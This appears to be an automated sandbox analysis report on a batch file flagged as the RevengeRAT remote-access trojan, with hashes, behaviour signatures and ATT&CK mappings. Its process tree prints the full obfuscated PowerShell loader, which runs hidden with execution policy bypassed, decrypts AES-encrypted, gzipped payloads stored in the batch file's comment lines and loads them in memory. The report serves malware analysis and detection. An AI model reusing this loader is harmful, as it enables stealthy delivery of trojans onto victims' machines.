revengerat | fde691fd5ed16873f0376db8eaa0bac17664065bd22c6c68911e42d33061029a

Analysis

max time kernel
144s
max time network
116s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
07-05-2024 23:20

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General

Target

Online.bat
Size

45KB
MD5

1a600b2249b39f991262c170cad3dad3
SHA1

25d531b3963fd4d26689a3c662ce690ea6ea176a
SHA256

fde691fd5ed16873f0376db8eaa0bac17664065bd22c6c68911e42d33061029a
SHA512

f95fd734986e7a28be3ccae0bb233f54bd092d6e19eb9d6fb2dd38ebe9e5997e3e18c33d62cda3ce934945608b842fc3c9ed459e0f6f2bca376716e49a56e787
SSDEEP

768:LSHL8RIxl3aG5e+XiyXbmPwdDrKaWlr77nKNw4kCThakKTqIJN3iI0:4L8WHy+DLmPwdGlrnwhagIn3i9

Score

10^/10

revengerat execution stealer trojan

Malware Config

Extracted

Family

revengerat

Mutex

Signatures

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat

RevengeRat Executable 1 IoCs

stealer

resource	yara_rule
behavioral2/memory/4256-15-0x000001A36A7D0000-0x000001A36A7D8000-memory.dmp	revengerat

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4256	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4256	powershell.exe
4256	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4256	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1452 wrote to memory of 4256	1452	cmd.exe	87
PID 1452 wrote to memory of 4256	1452	cmd.exe	87

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Online.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1452
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('aHXCo46AUwbrK4rt2yruGJx5SeMwavu8yRLdvk8vW+w='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uxenht2swFCyJpbYCLTATA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $GbLEN=New-Object System.IO.MemoryStream(,$param_var); $CeUNm=New-Object System.IO.MemoryStream; $dGobh=New-Object System.IO.Compression.GZipStream($GbLEN, [IO.Compression.CompressionMode]::Decompress); $dGobh.CopyTo($CeUNm); $dGobh.Dispose(); $GbLEN.Dispose(); $CeUNm.Dispose(); $CeUNm.ToArray();}function execute_function($param_var,$param2_var){ $Mgmck=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $yIqqy=$Mgmck.EntryPoint; $yIqqy.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Online.bat';$ACDBf=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Online.bat').Split([Environment]::NewLine);foreach ($ULtQU in $ACDBf) { if ($ULtQU.StartsWith(':: ')) { $WVSzC=$ULtQU.Substring(3); break; }}$payloads_var=[string[]]$WVSzC.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4256

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h2pgvhnf.dyb.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4256-0-0x00007FFA1DC03000-0x00007FFA1DC05000-memory.dmp

Filesize
8KB

Download
memory/4256-10-0x000001A36A550000-0x000001A36A572000-memory.dmp

Filesize
136KB

Download
memory/4256-11-0x00007FFA1DC00000-0x00007FFA1E6C1000-memory.dmp

Filesize
10.8MB

Download
memory/4256-12-0x00007FFA1DC00000-0x00007FFA1E6C1000-memory.dmp

Filesize
10.8MB

Download
memory/4256-14-0x000001A36A7A0000-0x000001A36A7AA000-memory.dmp

Filesize
40KB

Download
memory/4256-13-0x000001A3681C0000-0x000001A3681C8000-memory.dmp

Filesize
32KB

Download
memory/4256-15-0x000001A36A7D0000-0x000001A36A7D8000-memory.dmp

Filesize
32KB

Download
memory/4256-18-0x00007FFA1DC00000-0x00007FFA1E6C1000-memory.dmp

Filesize
10.8MB

Download